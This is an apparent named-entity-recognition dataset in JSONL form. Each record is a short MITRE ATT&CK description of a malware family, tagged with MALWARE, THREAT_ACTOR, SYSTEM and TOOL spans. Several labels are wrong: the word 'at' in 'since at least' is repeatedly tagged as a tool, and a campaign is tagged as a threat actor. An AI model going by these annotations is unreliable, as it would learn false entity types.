{"text": "SHOTPUT is a custom backdoor used by APT3.", "spans": {"MALWARE: SHOTPUT": [[0, 7]], "THREAT_ACTOR: APT3": [[37, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0063"}}
{"text": "Avaddon is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.", "spans": {"MALWARE: Avaddon": [[0, 7]], "TOOL: at": [[99, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0640"}}
{"text": "Conficker is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread. In 2016, a variant of Conficker made its way on computers and removable disk drives belonging to a nuclear power plant.", "spans": {"MALWARE: Conficker": [[0, 9], [166, 175]], "ORGANIZATION: Microsoft": [[74, 83]], "SYSTEM: Windows": [[84, 91], [111, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0608"}}
{"text": "SocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.", "spans": {"MALWARE: SocGholish": [[0, 10], [241, 251]], "SYSTEM: JavaScript": [[16, 26]], "TOOL: at": [[73, 75]], "THREAT_ACTOR: Mustard Tempest": [[267, 282]], "THREAT_ACTOR: Indrik Spider": [[332, 345]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1124"}}
{"text": "Flagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.", "spans": {"MALWARE: Flagpro": [[0, 7]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: BlackTech": [[73, 82]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0696"}}
{"text": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.", "spans": {"MALWARE: Hi-Zor": [[0, 6]], "MALWARE: Sakula": [[73, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0087"}}
{"text": "SpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.", "spans": {"MALWARE: SpicyOmelette": [[0, 13]], "SYSTEM: JavaScript": [[19, 29]], "THREAT_ACTOR: Cobalt Group": [[77, 89]], "TOOL: at": [[96, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0646"}}
{"text": "XAgentOSX is a trojan that has been used by APT28  on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.", "spans": {"MALWARE: XAgentOSX": [[0, 9]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: CHOPSTICK": [[102, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0161"}}
{"text": "Green Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.", "spans": {"MALWARE: Green Lambert": [[0, 13], [200, 213]], "SYSTEM: Windows": [[181, 188]], "SYSTEM: macOS": [[253, 258]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0690"}}
{"text": "China Chopper is a Web Shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. It has been used by several threat groups.", "spans": {"MALWARE: China Chopper": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0020"}}
{"text": "SnappyTCP is a web shell used by Sea Turtle between 2021 and 2023 against multiple victims. SnappyTCP appears to be based on a public GitHub project that has since been removed from the code-sharing site. SnappyTCP includes a simple reverse TCP shell for Linux and Unix environments with basic command and control capabilities.", "spans": {"MALWARE: SnappyTCP": [[0, 9], [92, 101], [205, 214]], "THREAT_ACTOR: Sea Turtle": [[33, 43]], "SYSTEM: GitHub": [[134, 140]], "SYSTEM: Linux": [[255, 260]], "SYSTEM: Unix": [[265, 269]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1163"}}
{"text": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.", "spans": {"MALWARE: CALENDAR": [[0, 8]], "THREAT_ACTOR: APT1": [[28, 32]], "SYSTEM: Gmail": [[56, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0025"}}
{"text": "LockerGoga is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.", "spans": {"MALWARE: LockerGoga": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0372"}}
{"text": "First observed in 2018, LightSpy is a modular malware family that initially targeted iOS devices in Southern Asia before expanding to Android and macOS platforms. It consists of a downloader, a main executable that manages network communications, and functionality-specific modules, typically implemented as `.dylib` files (iOS, macOS) or `.apk` files (Android). LightSpy can collect VoIP call recordings, SMS messages, and credential stores, which are then exfiltrated to a command and control (C2) server.", "spans": {"SYSTEM: iOS": [[85, 88], [324, 327]], "SYSTEM: Android": [[134, 141], [353, 360]], "SYSTEM: macOS": [[146, 151], [329, 334]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1185"}}
{"text": "Chaos is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets.", "spans": {"MALWARE: Chaos": [[0, 5]], "SYSTEM: Linux": [[9, 14]], "SYSTEM: SSH": [[79, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0220"}}
{"text": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent.", "spans": {"MALWARE: ISMInjector": [[0, 11]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0189"}}
{"text": "PUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry.", "spans": {"MALWARE: PUNCHBUGGY": [[0, 10]], "THREAT_ACTOR: FIN8": [[41, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0196"}}
{"text": "GoldMax is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. GoldMax was discovered in early 2021 during the investigation into the SolarWinds Compromise, and has likely been used by APT29 since at least mid-2019. GoldMax uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.", "spans": {"MALWARE: GoldMax": [[0, 7], [128, 135], [281, 288]], "SYSTEM: Windows": [[57, 64]], "SYSTEM: Linux": [[69, 74]], "THREAT_ACTOR: SolarWinds Compromise": [[199, 220]], "THREAT_ACTOR: APT29": [[250, 255]], "TOOL: at": [[262, 264]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0588"}}
{"text": "HELLOKITTY is a ransomware written in C++  that shares similar code structure and functionality with DEATHRANSOM and FIVEHANDS. HELLOKITTY has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.", "spans": {"MALWARE: HELLOKITTY": [[0, 10], [128, 138]], "MALWARE: DEATHRANSOM": [[101, 112]], "MALWARE: FIVEHANDS": [[117, 126]], "TOOL: at": [[159, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0617"}}
{"text": "CostaBricks is a loader that was used to deploy 32-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: CostaBricks": [[0, 11]], "THREAT_ACTOR: CostaRicto": [[72, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0614"}}
{"text": "Cheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.", "spans": {"MALWARE: Cheerscrypt": [[0, 11], [155, 166]], "THREAT_ACTOR: Cinnamon Tempest": [[50, 66]], "SYSTEM: Windows": [[113, 120]], "TOOL: at": [[140, 142]], "MALWARE: Babuk": [[195, 200], [315, 320]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1096"}}
{"text": "LIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.", "spans": {"MALWARE: LIGHTWIRE": [[0, 9]], "SYSTEM: Perl": [[36, 40]], "THREAT_ACTOR: Cutting Edge": [[62, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1119"}}
{"text": "KeyBoy is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.", "spans": {"MALWARE: KeyBoy": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0387"}}
{"text": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.", "spans": {"MALWARE: POSHSPY": [[0, 7]], "THREAT_ACTOR: APT29": [[44, 49]], "TOOL: at": [[56, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0150"}}
{"text": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.", "spans": {"MALWARE: MiniDuke": [[0, 8], [66, 74], [176, 184]], "THREAT_ACTOR: APT29": [[37, 42]], "MALWARE: CosmicDuke": [[227, 237]], "MALWARE: PinchDuke": [[242, 251]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0051"}}
{"text": "HyperBro is a custom in-memory backdoor used by Threat Group-3390.", "spans": {"MALWARE: HyperBro": [[0, 8]], "THREAT_ACTOR: Threat Group-3390": [[48, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0398"}}
{"text": "Anchor is one of a family of backdoor malware that has been used in conjunction with TrickBot on selected high profile targets since at least 2018.", "spans": {"MALWARE: Anchor": [[0, 6]], "MALWARE: TrickBot": [[85, 93]], "TOOL: at": [[133, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0504"}}
{"text": "Line Runner is a persistent backdoor and web shell allowing threat actors to upload and execute arbitrary Lua scripts. Line Runner is associated with the ArcaneDoor campaign.", "spans": {"MALWARE: Line Runner": [[0, 11], [119, 130]], "THREAT_ACTOR: ArcaneDoor": [[154, 164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1188"}}
{"text": "Pteranodon is a custom backdoor used by Gamaredon Group.", "spans": {"MALWARE: Pteranodon": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[40, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0147"}}
{"text": "DarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.", "spans": {"MALWARE: DarkTortilla": [[0, 12], [115, 127]], "SYSTEM: .NET": [[38, 42]], "TOOL: at": [[93, 95]], "MALWARE: Agent Tesla": [[210, 221]], "MALWARE: NanoCore": [[233, 241]], "TOOL: Cobalt Strike": [[252, 265]], "TOOL: Metasploit": [[271, 281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1066"}}
{"text": "BeaverTail is a malware that has both a JavaScript and C++ variant.  Active since 2022, BeaverTail is capable of stealing logins from browsers and serves as a downloader for second stage payloads. BeaverTail has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or Contagious Interview. BeaverTail has been delivered to victims through code repository sites and has been embedded within malicious attachments.", "spans": {"MALWARE: BeaverTail": [[0, 10], [88, 98], [197, 207], [331, 341]], "SYSTEM: JavaScript": [[40, 50]], "THREAT_ACTOR: Contagious Interview": [[309, 329]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1246"}}
{"text": "ROKRAT is a cloud-based remote access tool (RAT) used by APT37 to target victims in South Korea. APT37 has used ROKRAT during several campaigns from 2016 through 2021.", "spans": {"MALWARE: ROKRAT": [[0, 6], [112, 118]], "THREAT_ACTOR: APT37": [[57, 62], [97, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0240"}}
{"text": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.", "spans": {"MALWARE: CORESHELL": [[0, 9], [120, 129]], "THREAT_ACTOR: APT28": [[34, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0137"}}
{"text": "RunningRAT is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with Gold Dragon and Brave Prince.", "spans": {"MALWARE: RunningRAT": [[0, 10]], "MALWARE: Gold Dragon": [[123, 134]], "MALWARE: Brave Prince": [[139, 151]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0253"}}
{"text": "VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.   VPNFilter was assessed to be replaced by Sandworm Team with Cyclops Blink starting in 2019.", "spans": {"MALWARE: VPNFilter": [[0, 9], [154, 163], [352, 361]], "TOOL: ps": [[201, 203]], "THREAT_ACTOR: Sandworm Team": [[393, 406]], "MALWARE: Cyclops Blink": [[412, 425]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1010"}}
{"text": "SplatDropper is a loader that utilizes native windows API to deliver its payload to the victim environment.  SplatDropper has been delivered through RAR archives and used legitimate executable for DLL side-loading.  SplatDropper is known to be leveraged by Mustang Panda and was first observed utilized in 2025.", "spans": {"MALWARE: SplatDropper": [[0, 12], [109, 121], [216, 228]], "SYSTEM: API": [[54, 57]], "TOOL: RAR": [[149, 152]], "THREAT_ACTOR: Mustang Panda": [[257, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1232"}}
{"text": "Babuk is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of Babuk employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.", "spans": {"MALWARE: Babuk": [[0, 5], [107, 112]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0638"}}
{"text": "Exbyte is an exfiltration tool written in Go that is uniquely associated with BlackByte operations. Observed since 2022, Exbyte transfers collected files to online file sharing and hosting services.", "spans": {"MALWARE: Exbyte": [[0, 6], [121, 127]], "THREAT_ACTOR: BlackByte": [[78, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1179"}}
{"text": "DarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.", "spans": {"MALWARE: DarkWatchman": [[0, 12]], "SYSTEM: JavaScript": [[30, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0673"}}
{"text": "Dyre is a banking Trojan that has been used for financial gain.", "spans": {"MALWARE: Dyre": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0024"}}
{"text": "BlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.", "spans": {"MALWARE: BlackMould": [[0, 10]], "MALWARE: China Chopper": [[35, 48]], "ORGANIZATION: Microsoft": [[69, 78]], "SYSTEM: IIS": [[79, 82]], "THREAT_ACTOR: GALLIUM": [[160, 167]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0564"}}
{"text": "Javali is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.", "spans": {"MALWARE: Javali": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0528"}}
{"text": "PACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PACEMAKER": [[0, 9]], "THREAT_ACTOR: APT5": [[51, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1109"}}
{"text": "LunarLoader is the loader component for the LunarWeb and LunarMail backdoors that has been used by Turla since at least 2020 including against a European ministry of foreign affairs (MFA). LunarLoader has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.", "spans": {"MALWARE: LunarLoader": [[0, 11], [189, 200]], "MALWARE: LunarWeb": [[44, 52]], "MALWARE: LunarMail": [[57, 66]], "THREAT_ACTOR: Turla": [[99, 104]], "TOOL: at": [[111, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1143"}}
{"text": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.", "spans": {"MALWARE: BBSRAT": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0127"}}
{"text": "PlugX is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.", "spans": {"MALWARE: PlugX": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0013"}}
{"text": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of Control Panel items.", "spans": {"MALWARE: Reaver": [[0, 6]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0172"}}
{"text": "Bisonal is a remote access tool (RAT) that has been used by Tonto Team against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.", "spans": {"MALWARE: Bisonal": [[0, 7]], "THREAT_ACTOR: Tonto Team": [[60, 70]], "TOOL: at": [[159, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0268"}}
{"text": "MultiLayer Wiper is wiper malware written in .NET associated with Agrius operations. Observed samples of MultiLayer Wiper have an anomalous, future compilation date suggesting possible metadata manipulation.", "spans": {"MALWARE: MultiLayer Wiper": [[0, 16], [105, 121]], "SYSTEM: .NET": [[45, 49]], "THREAT_ACTOR: Agrius": [[66, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1135"}}
{"text": "S-Type is a backdoor that was used in Operation Dust Storm since at least 2013.", "spans": {"MALWARE: S-Type": [[0, 6]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0085"}}
{"text": "Lumma Stealer is an information stealer malware family in use since at least 2022. Lumma Stealer is a Malware as a Service (MaaS) where captured data has been sold in criminal markets to Initial Access Brokers.", "spans": {"MALWARE: Lumma Stealer": [[0, 13], [83, 96]], "TOOL: at": [[68, 70]], "SYSTEM: Access": [[195, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1213"}}
{"text": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.", "spans": {"MALWARE: SeaDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]], "MALWARE: CozyCar": [[154, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0053"}}
{"text": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.", "spans": {"MALWARE: BS2005": [[0, 6]], "THREAT_ACTOR: Ke3chang": [[35, 43]], "TOOL: at": [[77, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0014"}}
{"text": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.", "spans": {"MALWARE: DustySky": [[0, 8]], "SYSTEM: .NET": [[43, 47]], "THREAT_ACTOR: Molerats": [[70, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0062"}}
{"text": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.", "spans": {"MALWARE: Duqu": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0038"}}
{"text": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language.", "spans": {"MALWARE: Truvasys": [[0, 8]], "THREAT_ACTOR: PROMETHIUM": [[54, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0178"}}
{"text": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.", "spans": {"MALWARE: Remsec": [[0, 6]], "THREAT_ACTOR: Strider": [[51, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0125"}}
{"text": "Industroyer2 is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in Industroyer. Security researchers assess that Industroyer2 was designed to cause impact to high-voltage electrical substations. The initial Industroyer2 sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.", "spans": {"MALWARE: Industroyer2": [[0, 12], [209, 221], [303, 315]], "MALWARE: Industroyer": [[163, 174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1072"}}
{"text": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.  The group using this malware has also been referred to as Sykipot.", "spans": {"MALWARE: Sykipot": [[0, 7], [142, 149], [241, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0018"}}
{"text": "Explosive is a custom-made remote access tool used by the group Volatile Cedar. It was first identified in the wild in 2015.", "spans": {"MALWARE: Explosive": [[0, 9]], "THREAT_ACTOR: Volatile Cedar": [[64, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0569"}}
{"text": "Xbash is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.", "spans": {"MALWARE: Xbash": [[0, 5], [186, 191]], "SYSTEM: Linux": [[44, 49], [257, 262]], "ORGANIZATION: Microsoft": [[54, 63]], "SYSTEM: Windows": [[64, 71]], "SYSTEM: Python": [[209, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0341"}}
{"text": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.", "spans": {"MALWARE: Rover": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0090"}}
{"text": "Epic is a backdoor that has been used by Turla.", "spans": {"MALWARE: Epic": [[0, 4]], "THREAT_ACTOR: Turla": [[41, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0091"}}
{"text": "LightNeuron is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. LightNeuron has been used by Turla to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of LightNeuron exists.", "spans": {"MALWARE: LightNeuron": [[0, 11], [106, 117], [280, 291]], "ORGANIZATION: Microsoft": [[58, 67]], "SYSTEM: Exchange": [[68, 76]], "TOOL: at": [[91, 93]], "THREAT_ACTOR: Turla": [[135, 140]], "SYSTEM: Linux": [[263, 268]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0395"}}
{"text": "Peppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.", "spans": {"MALWARE: Peppy": [[0, 5]], "SYSTEM: Python": [[11, 17]], "TOOL: at": [[59, 61]], "MALWARE: Crimson": [[95, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0643"}}
{"text": "KEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.", "spans": {"MALWARE: KEYPLUG": [[0, 7]], "SYSTEM: Windows": [[51, 58]], "SYSTEM: Linux": [[63, 68]], "THREAT_ACTOR: APT41": [[101, 106]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1051"}}
{"text": "Cuba is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.", "spans": {"MALWARE: Cuba": [[0, 4]], "SYSTEM: Windows": [[10, 17]], "TOOL: at": [[184, 186]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0625"}}
{"text": "DEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.", "spans": {"MALWARE: DEATHRANSOM": [[0, 11]], "TOOL: at": [[64, 66]], "MALWARE: FIVEHANDS": [[110, 119]], "MALWARE: HELLOKITTY": [[124, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0616"}}
{"text": "Clambling is a modular backdoor written in C++ that has been used by Threat Group-3390 since at least 2017.", "spans": {"MALWARE: Clambling": [[0, 9]], "THREAT_ACTOR: Threat Group-3390": [[69, 86]], "TOOL: at": [[93, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0660"}}
{"text": "Akira ransomware, written in C++, is most prominently (but not exclusively) associated with the ransomware-as-a-service entity Akira. Akira ransomware has been used in attacks across North America, Europe, and Australia, with a focus on critical infrastructure sectors including manufacturing, education, and IT services. Akira ransomware employs hybrid encryption and threading to increase the speed and efficiency of encryption and runtime arguments for tailored attacks. Notable variants include Rust-based Megazord for targeting Windows and Akira _v2 for targeting VMware ESXi servers.", "spans": {"MALWARE: Akira": [[0, 5], [127, 132], [134, 139], [322, 327]], "MALWARE: Megazord": [[510, 518]], "SYSTEM: Windows": [[533, 540]], "MALWARE: Akira _v2": [[545, 554]], "SYSTEM: VMware": [[569, 575]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1129"}}
{"text": "DarkGate first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, DarkGate is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions. DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.", "spans": {"MALWARE: DarkGate": [[0, 8], [174, 182], [199, 207], [300, 308]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1111"}}
{"text": "Mongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.", "spans": {"MALWARE: Mongall": [[0, 7]], "TOOL: at": [[47, 49]], "THREAT_ACTOR: Aoqin Dragon": [[75, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1026"}}
{"text": "NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.", "spans": {"MALWARE: NanHaiShu": [[0, 9], [74, 83]], "SYSTEM: JScript": [[38, 45]], "THREAT_ACTOR: Leviathan": [[63, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0228"}}
{"text": "LockBit 3.0 is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and BlackCat ransomware. LockBit 3.0 has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as LockBit 2.0.", "spans": {"MALWARE: LockBit 3.0": [[0, 11], [141, 152]], "MALWARE: BlackCat": [[120, 128]], "TOOL: at": [[175, 177]], "SYSTEM: Windows": [[288, 295]], "SYSTEM: VMware": [[300, 306]], "MALWARE: LockBit 2.0": [[385, 396]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1202"}}
{"text": "SVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.", "spans": {"MALWARE: SVCReady": [[0, 8], [163, 171]], "TOOL: at": [[46, 48]], "THREAT_ACTOR: TA551": [[144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1064"}}
{"text": "ThiefQuest is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. ThiefQuest was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links. Even though ThiefQuest presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.", "spans": {"MALWARE: ThiefQuest": [[0, 10], [107, 117], [264, 274]], "SYSTEM: macOS": [[92, 97], [196, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0595"}}
{"text": "FoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.", "spans": {"MALWARE: FoggyWeb": [[0, 8]], "SYSTEM: Active Directory": [[125, 141]], "THREAT_ACTOR: APT29": [[197, 202]], "TOOL: at": [[209, 211]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0661"}}
{"text": "NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.", "spans": {"MALWARE: NGLite": [[0, 6], [154, 160]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1106"}}
{"text": "Carbanak is a full-featured, remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.", "spans": {"MALWARE: Carbanak": [[0, 8], [79, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0030"}}
{"text": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.", "spans": {"MALWARE: XTunnel": [[0, 7]], "THREAT_ACTOR: APT28": [[148, 153]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0117"}}
{"text": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17.", "spans": {"MALWARE: Hydraq": [[0, 6]], "THREAT_ACTOR: Elderwood": [[44, 53]], "ORGANIZATION: Google": [[66, 72]], "THREAT_ACTOR: APT17": [[227, 232]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0203"}}
